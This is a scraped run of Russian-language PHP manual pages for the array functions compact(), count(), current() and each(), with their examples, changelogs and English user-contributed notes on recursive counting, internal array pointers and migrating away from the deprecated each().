Функция compact() выдаёт ошибку уровня E_WARNING, если полученная строка ссылается на неопределённую переменную.

Список изменений

Версия | Описание
8.0.0 | Если заданная строка ссылается на неопределённую переменную, теперь будет сгенерированна ошибка уровня E_WARNING.
7.3.0 | Функция compact() теперь выдаёт ошибку уровня E_NOTICE, если заданная строка связана с неопределённой переменной. Ранее такие строки пропускались без уведомления.

Примеры

Пример #1 Пример использования compact()

<?php
$city = "San Francisco";
$state = "CA";
$event = "SIGGRAPH";

$location_vars = array("city", "state");

$result = compact("event", $location_vars);
print_r($result);
?>

Результат выполнения приведённого примера:

Array
(
    [event] => SIGGRAPH
    [city] => San Francisco
    [state] => CA
)

Примечания

Замечание: Замечания по работе функции compact

Так как переменные переменных не могут быть использованы с суперглобальными массивами внутри функций, суперглобальные массивы не могут быть переданы в compact().

Смотрите также

  • extract() - Импортирует переменные массива в текущую таблицу символов

User Contributed Notes

c dot smith at fantasticmedia dot co dot uk 20-Sep-2023 03:23
If you must utilise this knowing that a variable may be unset, then you need to use an alternative method.

So instead of the following:

<?php
$var1 = "lorem";
$var2 = "ipsum";
$result = compact('var1', 'var2', 'unsetvar');
?>

Consider the following:

<?php
$var1 = "lorem";
$var2 = "ipsum";
$result = [];
foreach( ['var1', 'var2', 'unsetvar'] as $attr ) {
    if ( isset( $$attr ) ) {
        $result[ $attr ] = $$attr;
    }
}
?>
lekiagospel at gmail dot com 13-Jan-2020 01:20
Consider these two examples. The first as used in the manual, and  the second a slight variation of it.

Example #1

<?php
$city  = "San Francisco";
$state = "CA";
$event = "SIGGRAPH";

$location_vars = array("city", "state");

$result = compact("event", $location_vars);
print_r($result);
?>

Example #1 above  will output:

Array
(
    [event] => SIGGRAPH
    [city] => San Francisco
    [state] => CA
)

Example #2

<?php
$city  = "San Francisco";
$state = "CA";
$event = "SIGGRAPH";

$location_vars = array("city", "state");

$result = compact("event", "location_vars");
print_r($result);
?>

Example #2 above will output:

Array
(
    [event] => SIGGRAPH

    [location_vars] => Array
        (
            [0] => city
            [1] => state
        )

)

In the first example, the value of the variable $location_values (which is an array containing city, and state) is passed to compact().

In the second example, the name of the variable $location_vars  (i.e  without the '$' sign) is passed to compact() as a string. I hope this further clarifies the points made in the manual?
jmarkmurph at yahoo dot com 26-Jan-2016 01:45
So compact('var1', 'var2') is the same as saying array('var1' => $var1, 'var2' => $var2) as long as $var1 and $var2 are set.
Robc 19-Jan-2011 03:16
The description says that compact is the opposite of extract() but it is important to understand that it does not completely reverse extract().  In particluar compact() does not unset() the argument variables given to it (and that extract() may have created).  If you want the individual variables to be unset after they are combined into an array then you have to do that yourself.
M Spreij 24-May-2007 06:10
Can also handy for debugging, to quickly show a bunch of variables and their values:

<?php
print_r(compact(explode(' ', 'count acw cols coldepth')));
?>

gives

Array
(
    [count] => 70
    [acw] => 9
    [cols] => 7
    [coldepth] => 10
)


Подсчитывает количество элементов в массиве или в объекте Countable

  • « compact
  • current »
  • PHP Manual
  • Функции для работы с массивами
  • Подсчитывает количество элементов в массиве или в объекте Countable

count

(PHP 4, PHP 5, PHP 7, PHP 8)

count — Подсчитывает количество элементов в массиве или в объекте Countable

Описание

count(Countable|array $value, int $mode = COUNT_NORMAL): int

Функция подсчитывает количество элементов в массиве, если в функцию передали массив. Функция возвращает значение, которое вернул метод Countable::count(), если в функцию передали объект, который реализует интерфейс Countable.

Список параметров

value

Массив или объект, который реализует интерфейс Countable.

mode

Функция count() будет рекурсивно подсчитывать элементы массива, если для необязательного параметра mode установили значение COUNT_RECURSIVE (или 1). Это, в частности, полезно для подсчёта элементов многомерных массивов.

Предостережение

Функция count() умеет обнаруживать рекурсию, чтобы избежать бесконечного цикла, но для каждого такого случая будет выдавать ошибку уровня E_WARNING (если массив содержит себя больше одного раза), и возвращать значение выше, чем ожидалось.

Возвращаемые значения

Функция возвращает количество элементов в параметре value. До PHP 8.0.0, если параметр не был ни массивом (array), ни объектом (object), который реализует интерфейс Countable, возвращалось значение 1, если значение параметра value не было равно null, тогда возвращалось значение 0.

Список изменений

Версия | Описание
8.0.0 | Теперь функция count() выбрасывает исключение TypeError, если в параметр value передали недопустимый исчисляемый тип.
7.2.0 | Теперь функция count() будет выдавать предупреждение о недопустимых исчисляемых типах, которые передали в параметр value.

Примеры

Пример #1 Пример использования функции count()

<?php

$a[0] = 1;
$a[1] = 3;
$a[2] = 5;
var_dump(count($a));

$b[0] = 7;
$b[5] = 9;
$b[10] = 11;
var_dump(count($b));

?>

Результат выполнения приведённого примера:

int(3)
int(3)

Пример #2 Пример использования функции count() с неисчисляемым типом (плохой пример — не делайте так)

<?php

$b[0] = 7;
$b[5] = 9;
$b[10] = 11;
var_dump(count($b));

var_dump(count(null));

var_dump(count(false));

?>

Результат выполнения приведённого примера:

int(3)
int(0)
int(1)

Результат выполнения приведённого примера в PHP 7.2:

int(3)

Warning: count(): Parameter must be an array or an object that implements Countable in ... on line 12
int(0)

Warning: count(): Parameter must be an array or an object that implements Countable in ... on line 14
int(1)

Результат выполнения приведённого примера в PHP 8:

int(3)

Fatal error: Uncaught TypeError: count(): Argument #1 ($var) must be of type Countable .. on line 12

Пример #3 Пример рекурсивного использования функции count()

<?php

$food = array('fruits' => array('orange', 'banana', 'apple'),
'veggie' => array('carrot', 'collard', 'pea'));

// рекурсивный подсчёт
var_dump(count($food, COUNT_RECURSIVE));

// обычный подсчёт
var_dump(count($food));

?>

Результат выполнения приведённого примера:

int(8)
int(2)

Пример #4 Объект, который реализует интерфейс Countable

<?php

class CountOfMethods implements Countable
{
private function someMethod() {}

public function count(): int
{
return count(get_class_methods($this));
}
}

$obj = new CountOfMethods();
var_dump(count($obj));

?>

Результат выполнения приведённого примера:

int(2)

Смотрите также

  • is_array() - Определяет, представляет ли собой переменная массив
  • isset() - Определяет, была ли установлена переменная значением, отличным от null
  • empty() - Проверяет, пуста ли переменная
  • strlen() - Получает длину строки
  • is_countable() - Проверяет, представляет ли собой содержимое переменной счётное значение
  • Массивы

User Contributed Notes

olja dot fb at gmail dot com 28-May-2023 01:08
In example #3, given as:

<?php
$food = array('fruits' => array('orange', 'banana', 'apple'),
              'veggie' => array('carrot', 'collard', 'pea'));

// recursive count
var_dump(count($food, COUNT_RECURSIVE));
?>

with the output given as int(8), it may have some readers mistaken, as I was at first: one might take it as keys being counted as well as the inner array entries:

<?php
// NO:
'fruits', 'orange', 'banana', 'apple',
'veggie', 'carrot', 'collard', 'pea'
?>

But actually keys are not counted in count function, and why it is still 8 - because inner arrays are counted as entries as well as their inner elements:

<?php
// YES:
array('orange', 'banana', 'apple'), 'orange', 'banana', 'apple',
array('carrot', 'collard', 'pea'), 'carrot', 'collard', 'pea'
?>
asma mechtaba 14-Mar-2022 03:03
count and sizeof are aliases, what work for one works for the other.
Christoph097 25-Dec-2021 12:04
Empty values are counted:
<?php
$ar[] = 3;
$ar[] = null;
var_dump(count($ar)); //int(2)
?>
vojtaripa at gmail dot com 25-Jun-2020 12:29
To get the count of the inner array you can do something like:

$inner_count = count($array[0]);
echo ($inner_count);
max at schimmelmann dot org 08-Mar-2020 12:12
In special situations you might only want to count the first level of the array to figure out how many entries you have, when they have N more key-value-pairs.

<?php

$data = [
    'a' => [
        'bla1' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
        'bla2' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
        'bla3' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
        'bla4' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
    ],
    'b' => [
        'bla1' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
        'bla2' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
    ],
    'c' => [
        'bla1' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ]
    ]
];
$count = array_sum(array_values(array_map('count', $data)));
// will return int(7)
var_dump($count);

// will return 31
var_dump(count($data, 1));
?>
XavDeb 30-Jan-2020 10:59
If you want to know the sub-array containing the MAX NUMBER of values in a 3 dimensions array, here is a try (maybe not the nicest way, but it works):

function how_big_is_the_biggest_sub ($array)  {
   // we parse the 1st level
   foreach ($array AS $key => $array_lvl2) {
         //within level 2, we count the 3d levels max
            $lvl2_nb = array_map( 'count',  $array_lvl2) ;
            $max_nb = max($lvl2_nb);
         // we store the matching keys, it might be usefull
            $max_key = array_search($max_nb, $lvl2_nb);
            $max_nb_all[$max_key.'|'.$key] = $max_nb;
        }
       // now we want the max from all levels 2, so one more time
        $real_max = max($max_nb_all);
        $real_max_key = array_search($real_max, $max_nb_all);
        list($real_max_key2, $real_max_key1) = explode('|', $real_max_key);
                // preparing result
        $biggest_sub['max'] = $real_max;
        $biggest_sub['key1'] = $real_max_key1;
        $biggest_sub['key2'] = $real_max_key2;

        return $biggest_sub;
}
/*
$cat_poids_max['M']['Juniors'][] = 55;
$cat_poids_max['M']['Juniors'][] = 61;
$cat_poids_max['M']['Juniors'][] = 68;
$cat_poids_max['M']['Juniors'][] = 76;
$cat_poids_max['M']['Juniors'][] = 100;

$cat_poids_max['M']['Seniors'][] = 55;
$cat_poids_max['M']['Seniors'][] = 60;
$cat_poids_max['M']['Seniors'][] = 67;
$cat_poids_max['M']['Seniors'][] = 75;
$cat_poids_max['M']['Seniors'][] = 84;
$cat_poids_max['M']['Seniors'][] = 90;
$cat_poids_max['M']['Seniors'][] = 100;
//....
$cat_poids_max['F']['Juniors'][] = 52;
$cat_poids_max['F']['Juniors'][] = 65;
$cat_poids_max['F']['Juniors'][] = 74;
$cat_poids_max['F']['Juniors'][] = 100;

$cat_poids_max['F']['Seniors'][] = 62;
$cat_poids_max['F']['Seniors'][] = 67;
$cat_poids_max['F']['Seniors'][] = 78;
$cat_poids_max['F']['Seniors'][] = 86;
$cat_poids_max['F']['Seniors'][] = 100;
*/
$biggest_sub = how_big_is_the_biggest_sub($cat_poids_max);
echo "<li> ".$biggest_sub['key1']." ==> ".$biggest_sub['key2']." ==> ".$biggest_sub['max']; // displays : M ==> Seniors ==> 7
Anonymous 05-Oct-2019 05:52
For a Non Countable Objects

$count = count($data);
print "Count: $count\n";

Warning:  count(): Parameter must be an array or an object that implements Countable in example.php on line 159

#Quick fix is to just cast the non-countable object as an array..

$count = count((array) $data);
print "Count: $count\n";

Count: 250
lucasfsmartins at gmail dot com 07-Mar-2019 11:26
If you are on PHP 7.2+, you need to be aware of "Changelog" and use something like this:

<?php
$countFruits = is_array($countFruits) || $countFruits instanceof Countable ? count($countFruits) : 0;
?>

You can organize your code to ensure that the variable is an array, or you can extend the Countable so that you don't have to do this check.
buyatv at gmail dot com 27-Jan-2017 09:16
You can not get collect sub array count when use the key on only one sub array in an array:

$a = array("a"=>"appple", b"=>array('a'=>array(1,2,3),'b'=>array(1,2,3)));
$b = array("a"=>"appple", "b"=>array(array('a'=>array(1,2,3),'b'=>array(1,2,3)), array(1,2,3),'b'=>array(1,2,3)), array('a'=>array(1,2,3),'b'=>array(1,2,3))));

echo count($a['b']);  // 2 NOT 1, expect 1
echo count($b['b']);  // 3,   expected
buyatv at gmail dot com 26-Jan-2017 10:32
You can not get collect sub array count when there is only one sub array in an array:

$a = array ( array ('a','b','c','d'));
$b = array ( array ('a','b','c','d'), array ('e','f','g','h'));

echo count($a);  // 4 NOT 1, expect 1
echo count($b);  // 2,   expected
php_count at cubmd dot com 22-Nov-2016 03:12
All the previous recursive count solutions with $depth option would not avoid infinite loops in case the array contains itself more than once.
Here's a working solution:

<?php
    /**
     * Recursively count elements in an array. Behaves exactly the same as native
     * count() function with the $depth option. Meaning it will also add +1 to the
     * total count, for the parent element, and not only counting its children.
     * @param $arr
     * @param int $depth
     * @param int $i (internal)
     * @return int
     */
    public static function countRecursive(&$arr, $depth = 0, $i = 0) {
        $i++;
        /**
         * In case the depth is 0, use the native count function
         */
        if (empty($depth)) {
            return count($arr, COUNT_RECURSIVE);
        }
        $count = 0;
        /**
         * This can occur only the first time when the method is called and $arr is not an array
         */
        if (!is_array($arr)) {
            return count($arr);
        }

        // if this key is present, it means you already walked this array
        if (isset($arr['__been_here'])) {
            return 0;
        }

        $arr['__been_here'] = true;

        foreach ($arr as $key => &$value) {
            if ($key !== '__been_here') {
                if (is_array($value) && $depth > $i) {
                    $count += self::countRecursive($value, $depth, $i);
                }

                $count++;
            }
        }

        // you need to unset it when done because you're working with a reference...
        unset($arr['__been_here']);
        return $count;
    }
?>
ThisIsNotImportant 17-Dec-2015 03:10
About 2d arrays, you have many way to count elements :

<?php
$MyArray = array ( array(1,2,3),
                   1,
                   'a',
                   array('a','b','c','d') );

// All elements
echo count($MyArray ,COUNT_RECURSIVE);  // output 11 (9 values + 2 arrays)

// First level elements
echo count($MyArray );                  // output 4 (2 values+ 2 arrays)

// Both level values, but only values
echo(array_sum(array_map('count',$MyArray ))); //output 9 (9 values)

// Only second level values
echo (count($MyArray ,COUNT_RECURSIVE)-count($MyArray )); //output 7 ((all elements) - (first elements))
?>
pied-pierre 04-Jun-2015 05:27
A function of one line to find the number of elements that are not arrays, recursively :

function count_elt($array, &$count=0){
  foreach($array as $v) if(is_array($v)) count_elt($v,$count); else ++$count;
  return $count;
}
JumpIfBelow 05-May-2015 02:18
As I see in many codes, don't use count to iterate through array.
Onlyranga says you could declare a variable to store it before the for loop.
I agree with his/her approach, using count in the test should be used ONLY if you have to count the size of the array for each loop.

You can do it in the for loop too, so you don't have to "search" where the variable is set.
e.g.
<?php
    $array = [1, 5, 'element'];
    for($i = 0, $c = count($array); $i < $c; $i++)
        var_dump($array[$i]);
?>
onlyranga at gmail dot com 28-Apr-2014 02:14
[Editor's note: array at from dot pl had pointed out that count() is a cheap operation; however, there's still the function call overhead.]

If you want to run through large arrays don't use count() function in the loops , its a over head in performance,  copy the count() value into a variable and use that value in loops for a better performance.

Eg:

// Bad approach

for($i=0;$i<count($some_arr);$i++)
{
    // calculations
}

// Good approach

$arr_length = count($some_arr);
for($i=0;$i<$arr_length;$i++)
{
    // calculations
}
Gerd Christian Kunze 11-Dec-2013 12:56
Get maxWidth and maxHeight of a two dimensional array..?

Note:
1st dimension = Y (height)
2nd dimension = X (width)
e.g. rows and cols in database result arrays

<?php
$TwoDimensionalArray = array( 0 => array( 'key' => 'value', ...), ... );
?>

So for Y (maxHeight)
<?php
$maxHeight = count( $TwoDimensionalArray )
?>

And for X (maxWidth)
<?php
$maxWidth = max( array_map( 'count',  $TwoDimensionalArray ) );
?>

Simple? ;-)
danny at dannymendel dot com 13-Jun-2007 01:14
I actually find the following function more useful when it comes to multidimension arrays when you do not want all levels of the array tree.

// $limit is set to the number of recursions
<?php
function count_recursive ($array, $limit) {
    $count = 0;
    foreach ($array as $id => $_array) {
        if (is_array ($_array) && $limit > 0) {
            $count += count_recursive ($_array, $limit - 1);
        } else {
            $count += 1;
        }
    }
    return $count;
}
?>
alexandr at vladykin dot pp dot ru 08-Nov-2006 04:28
My function returns the number of elements in array for multidimensional arrays subject to depth of array. (Almost COUNT_RECURSIVE, but you can point on which depth you want to plunge).

<?php
  function getArrCount ($arr, $depth=1) {
      if (!is_array($arr) || !$depth) return 0;

     $res=count($arr);

      foreach ($arr as $in_ar)
         $res+=getArrCount($in_ar, $depth-1);

      return $res;
  }
?>


Возвращает текущий элемент массива

  • « count
  • each »
  • PHP Manual
  • Функции для работы с массивами
  • Возвращает текущий элемент массива

current

(PHP 4, PHP 5, PHP 7, PHP 8)

current — Возвращает текущий элемент массива

Описание

current(array|object $array): mixed

У каждого массива есть внутренний указатель на «текущий» элемент, который инициализирует вставка первого элемента.

Список параметров

array

Массив.

Возвращаемые значения

Функция current() просто возвращает значение элемента массива, на который указывает внутренний указатель. Она не сдвигает указатель ни в каком направлении. Если внутренний указатель указывает за пределы списка элементов или массив пуст, функция current() возвращает false.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Список изменений

Версия | Описание
8.1.0 | Вызов функции на объекте (object) объявлен устаревшим. Объект (object) либо сначала преобразовывают в массив (array) функцией get_mangled_object_vars(), либо пользуются методами класса, в котором реализовали интерфейс Iterator, например, ArrayIterator.
7.4.0 | Экземпляры классов библиотеки SPL теперь обрабатываются как пустые объекты, у которых нет свойств, вместо вызова метода интерфейса Iterator с тем же именем, что и у этой функция.

Примеры

Пример #1 Пример использования функции current() и дружественных функций

<?php

$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport); // $mode = 'foot';
$mode = end($transport); // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';

$arr = array();
var_dump(current($arr)); // bool(false)

$arr = array(array());
var_dump(current($arr)); // array(0) { }

?>

Примечания

Замечание: Результаты вызова функции current() на пустом массиве, массиве со сдвинутым за пределы элементов внутренним указателем и массиве с указателем на элементе с логическим (bool) значением false — неотличимы. Чтобы правильно обойти массив с элементами false, пользуются управляющей конструкцией foreach. Чтобы продолжать пользоваться функцией current() и правильно проверять, что значение — элемент массива, нужно проверить возвращаемый функцией key() ключ текущего элемента, как его определяет функция current(), на строгое неравенство значению null.

Смотрите также

  • end() - Устанавливает внутренний указатель массива на последний элемент
  • key() - Получает ключ массива
  • each() - Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд
  • prev() - Сдвигает внутренний указатель массива на одну позицию назад
  • reset() - Устанавливает внутренний указатель массива на первый элемент
  • next() - Сдвигает внутренний указатель массива на одну позицию вперёд
  • foreach

User Contributed Notes

sergey dot karavay at gmail dot com 19-Oct-2021 10:45
It looks like `current()` is deprectated for calling on objects since PHP 7.4.

Consider this code

```
$a = new ArrayIterator([1,2,3]);

var_dump(current($a), $a->current());
```

It returns
```
int(1)
int(1)
```

In PHP 7.3, but in PHP7.4 you get:
```
bool(false)
int(1)
```

And in PHP8:
```
Deprecated: current(): Calling current() on an object is deprecated in /in/fdrNR on line 5
bool(false)
int(1)
```
leozmm at outlook dot com 24-Sep-2019 08:02
Array can be passed by both REFERENCE and EXPRESSION on `current`, because current doesn't move array's internal pointer,
this is not true for other functions like: `end`, `next`, `prev` etc.

<?php
    function foo() {return array(1,2,3);}
    echo current(foo());  // this print '1'
    echo end(foo());      // this print error: Only variables should be passed by reference
?>
xedin dot unknown at gmail dot com 10-Jul-2018 01:28
Array functions, such as `current()` and `rewind()` will work on `Traversable` as well, PHP 5.0 - 7.3, but not in HHVM:

<?php

$queue = new ArrayIterator(array('adasdasd'));
reset($queue);
$current = current($queue);
var_dump($current);

?>

See https://3v4l.org/VjCHR
pdarmis at gmail dot com 06-Aug-2017 06:22
Based on this example http://php.net/manual/en/function.current.php#116128 i would like to add the following.  As Vasily points out in his example
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
foreach($prices as $key => $price){
    if($price < 1000){
        unset($prices[$key]);
    }
}

var_dump(current($prices)); // bool(false)
?>
The above example will not work and return false for version of PHP between 5.2.4 and 5.6.29. The issue is not present on PHP versions >= 7.0.1
A different workaround (at least from Vasily's example) would be to use reset() before using current() in order to reset the array pointer to start.
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
foreach($prices as $key => $price){
    if($price < 1000){
        unset($prices[$key]);
    }
}
reset($prices);
var_dump(current($prices)); // string(7) "1300990"
?>
jodevweb at gmail dot com 16-Sep-2016 02:50
As Sergey stated a long time ago in this notes, when adding to the array using the brackets syntax, current won't return the last added value. Instead of moving the pointer with end(), you simply can get the last value with <?php $my_array[count($my_array) - 1] ?> (only applies to a non-associative array).
Vasily Yudin (st-2 at mail dot ru) 12-Nov-2014 08:51
If you do current() after using uset() on foreach statement, you can get FALSE in PHP version 5.2.4 and above.
There is example:
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
foreach($prices as $key => $price){
    if($price < 1000){
        unset($prices[$key]);
    }
}

var_dump(current($prices)); // bool(false)
?>
If you do unset() without foreach? all will be fine.
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
unset($prices[1]);
unset($prices[2]);

var_dump(current($prices));
?>
Pratip Ghosh 14-May-2014 05:55
If we unset any element from an array, and then try the current function, I noted it returned FALSE. To overcome this limitation, you can use array_values function to re-order the tree.
strate at yandex dot com 30-Oct-2013 07:11
Note, that you can pass array by expression, not only by reference (as described in doc).

<?php
var_dump( current( array(1,2,3) ) ); // (int) 1
?>
michael at squiloople dot com 10-Jan-2012 07:44
current() also works on objects:

<?php

  echo current((object) array('one', 'two')); // Outputs: one

?>
aefxx 15-May-2008 08:39
A simple copy function that not only copies the given array but ensures the copy's pointer is set to the exact same position:

<?php
function array_copy(&array)
{
    $key = key($array);
    $copy = $array;

    while (($copy_key = key($copy)) !== NULL) {
        if ($copy_key == $key) break;
        next($copy);
    }

    return $copy;
}
?>

That's all ... bye.
gregory at gregory dot net 27-Feb-2008 09:07
It took me a while to figure this out, but there is a more consistent way to figure out whether you really went past the end of the array, than using each().

You see, each() gets the value BEFORE advancing the pointer, and next() gets the value AFTER advancing the pointer. When you are implementing the Iterator interface, therefore, it's a real pain in the behind to use each().

And thus, I give you the solution:
To see if you've blown past the end of the array, use key($array) and see if it returns NULL. If it does, you're past the end of the array -- keys can't be null in arrays.

Nifty, huh? Here's how I implemented the Iterator interface in one of my classes:

<?php

/**
 * DbRow file
 * @package PalDb
 */

/**
 * This class lets you use Db rows and object-relational mapping functionality.
 */

class DbRow implements Iterator
{
    /**
     * The DbResult object that gave us this row through fetchDbRows
     * @var DbResult
     */
    protected $result;

    /**
     * The fields of the row
     * @var $fields
     */
    protected $fields;

    /**
     * Constructor
     *
     * @param PDOStatement $stmt
     *  The PDO statement object that this result uses
     * @param DbResult $result
     *  The result that produced this row through fetchDbRows
     */
    function __construct($result)
    {
        $this->result = $result;
    }

    /**
     * Get the DbResult object that gave us this row through fetchDbRows
     * @return DbResult
     *
     * @return unknown
     */
    function getResult()
    {
        return $this->result;
    }

    function __set(
        $name,
        $value)
    {
        $this->fields[$name] = $value;
    }

    function __get(
        $name)
    {
        if (isset($this->fields[$name]))
            return $this->fields[$name];
        else
            return null;
    }

    /**
     * Iterator implementation - rewind
     */
    function rewind()
    {
        $this->beyondLastField = false;
        return reset($this->fields);
    }

    function valid()
    {
        return !$this->beyondLastField;
    }

    function current()
    {
        return current($this->fields);
    }

    function key()
    {
        return key($this->fields);
    }

    function next()
    {
        $next = next($this->fields);
        $key = key($this->fields);
        if (isset($key)) {
            return $next[1];
        } else {
            $this->beyondLastField = true;
            return false; // doesn't matter what we return here, see valid()
        }
    }

    private $beyondLastField = false;
};

Hope this helps someone.
vaclav dot sir at gmail dot com 13-Aug-2007 09:23
To that "note": You won't be able to distinguish the end of an array from a boolean FALSE element, BUT you can distinguish the end from a NULL value of the key() function.

Example:
<?php
if (key($array) === null) {
    echo "You are in the end of the array.";
} else {
    echo "Current element: " . current($array);
}
?>
mdeng at kabenresearch dot com 23-Apr-2004 11:04
For large array(my sample was 80000+ elements), if you want to traverse the array in sequence, using array index $a[$i] could be very inefficient(very slow). I had to switch to use current($a).
vitalib at 012 dot net dot il 02-Dec-2003 02:10
Note that by copying an array its internal pointer is lost:

<?php
$myarray = array(0=>'a', 1=>'b', 2=>'c');
next($myarray);
print_r(current($myarray));
echo '<br>';
$a = $myarray;
print_r(current($a));
?>

Would output 'b' and then 'a' since the internal pointer wasn't copied. You can cope with that problem using references instead, like that:

<?php
$a =& $myarray;
?>
retestro_REMOVE at SPAM_esperanto dot org dot il 01-Mar-2003 06:31
The docs do not specify this, but adding to the array using the brackets syntax:
     <?php $my_array[] = $new_value; ?>
will not advance the internal pointer of the array. therefore, you cannot use current() to get the last value added or key() to get the key of the most recently added element.

You should do an end($my_array) to advance the internal pointer to the end ( as stated in one of the notes on end() ), then

    <?php
     $last_key = key($my_array);  // will return the key
     $last_value = current($my_array);  // will return the value
    ?>

If you have no need in the key, $last_value = end($my_array) will also do the job.

- Sergey.


Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд

  • « current
  • end »
  • PHP Manual
  • Функции для работы с массивами
  • Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд

each

(PHP 4, PHP 5, PHP 7)

each — Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд

Внимание

Эта функция объявлена УСТАРЕВШЕЙ начиная с PHP 7.2.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

each(array|object &$array): array

Возвращает текущую пару ключа и значения массива и продвигает внутренний указатель массива на одну позицию.

После выполнения функции each() указатель массива останется на следующем элементе или за последним элементом, если указатель достигнет конца массива. Для повторного обхода каждого элемента массива, нужно вызвать функцию reset().

Список параметров

array

Входной массив.

Возвращаемые значения

Возвращает текущую пару ключа и значения массива array. Пара возвращается в массиве из четырёх элементов с ключами 0, 1, key и value. Элементы с ключами 0 и key содержат имя ключа элемента массива, а ключи 1 и value содержат данные.

Если внутренний указатель массива указывает за пределы массива, функция each() вернёт false.

Примеры

Пример #1 Примеры использования функции each()

<?php

$foo = array("bob", "fred", "jussi", "jouni", "egon", "marliese");
$bar = each($foo);
print_r($bar);

?>

Переменная $bar теперь содержит следующие пары ключей и значений:

Array
(
    [1] => bob
    [value] => bob
    [0] => 0
    [key] => 0
)

<?php

$foo = array("Robert" => "Bob", "Seppo" => "Sepi");
$bar = each($foo);
print_r($bar);

?>

Переменная $bar теперь содержит следующие пары ключей и значений:

Array
(
    [1] => Bob
    [value] => Bob
    [0] => Robert
    [key] => Robert
)

Функцию each() часто вызывают совместно с функцией list() для обхода массива, как в этом примере:

Пример #2 Обход массива функцией each()

<?php

$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');

reset($fruit);
while (list($key, $val) = each($fruit)) {
echo "$key => $val\n";
}

?>

Результат выполнения приведённого примера:

a => apple
b => banana
c => cranberry

Предостережение

Поскольку присвоение массива другой переменной сбрасывает указатель исходного массива, пример выше вызвал бы бесконечный цикл, если бы внутри цикла переменную $fruit присвоили другой переменной.

Внимание

Функция each() также принимает объекты, но иногда возвращает неожиданные результаты. Поэтому перебирать свойства объекта функцией each() не рекомендуют.

Смотрите также

  • key() - Получает ключ массива
  • list() - Присваивает переменным значения похожим на массивы синтаксисом
  • current() - Возвращает текущий элемент массива
  • reset() - Устанавливает внутренний указатель массива на первый элемент
  • next() - Сдвигает внутренний указатель массива на одну позицию вперёд
  • prev() - Сдвигает внутренний указатель массива на одну позицию назад
  • foreach
  • Итерация объектов

User Contributed Notes

janhsh 08-Nov-2022 01:46
Following the obsolescence of the each() function, here is a way to correct your source codes:

If you use each() in a while loop like this:

   while (list($Key,$Value)=@each($Array)){
   ....
   }

you have to replace with

    foreach ($Array  as $Key => $Value){
    ....
    }

In the same minds.

   while (list(,$Value)=@each($Array)){
   ....
   }

will become

    foreach ($Array  as $Value){
    ....
    }
dmikam 13-May-2021 10:58
This function is marked as deprecated in PHP 7.2.0 and is removed in PHP 8.0.0, the replacement for legacy code would look like this:

function legacy_each($array){
    $key = key($array);
    $value = current($array);
    $each = is_null($key) ? false : [
        1        => $value,
        'value'    => $value,
        0        => $key,
        'key'    => $key,
    ];
    next($array);
    return $each;
}
man13or at hotmail dot fr 03-Feb-2020 07:49
Hello, since each() and list() often "betray" very old applications, I simply recommend not to use them anymore.

If you want to assign variables based on an associative array,
Replace this:

while(list ($key, $value) = each ($my_array)) {
    $$key = $value;
}

with this:

foreach ($my_array as $key => $value) {
    $$key = $value;
}
Henk Poley 30-Aug-2019 07:30
Rector has an automated fix ('ListEachRector') to migrate away from `each()`:

https://github.com/rectorphp/rector/blob/master/docs/AllRectorsOverview.md#listeachrector

If you look at the code example you'll see this is even quite simple to do by hand.
phpcoder at gmail dot com 25-Jun-2019 09:36
each was deprecated because it exposed too much of the internal implementation details, blocking language development. ("We can't do X because it would break each().")

https://wiki.php.net/rfc/deprecations_php_7_2#each

If you want an array pointer, maintain it yourself. Probably a good idea anyway, because then it's visible in the code.
Anonymous 04-Aug-2018 01:12
An odd function to deprecate. If you're keeping track of an array pointer in a collection outside a foreach loop you don't care about performance and the utility of this function is core.

Instead you must call two functions: current() and then next() to replicate its behaviour.
13975001197 at 163 dot com 08-Apr-2018 03:58
In PHP 7.2 we can use foreach() to replace each(), such as:

foreach($array as $key => $value) {
    //do something
}
janhsh at tiscalinet dot be 24-Sep-2017 01:57
The following example is invalid in PHP 7 :

<?php
$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');

reset($fruit);
while (list($key, $val) = each($fruit)) {
    echo "$key => $val\n";
}
?>

The correct writing is
<?php
$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');

reset($fruit);
while ($Item= each($fruit)) {
    $key=$Item[0];
    $val=$Item[1];
    echo "$key => $val\n";
}
?>

This is because the "list ()" command on the left no longer works in PHP 7 and there is no replacement command.
Which is very deplorable because this command was strongly used and allowed in a simple way to assign variables from array.
ayyappan dot ashok at gmail dot com 18-Apr-2016 09:21
/* Iterating using objects via each */

class SAI
{
   public function __toString()
   {
          return __CLASS__;
   }
}
$a = new SAI();
$b = new SAI();
$c = new SAI();
$d = new SAI();
$e = new SAI();

$objarray = array($a,$b,$c,$d,$e);
reset($objarray);
while (list($key, $val) = each($objarray))
{
    echo "$key => $val\n";
}
//Results
0 => SAI
1 => SAI
2 => SAI
3 => SAI
4 => SAI

Warning:
each() will also accept objects, but may return unexpected results. It's therefore not recommended to iterate though object properties with each().
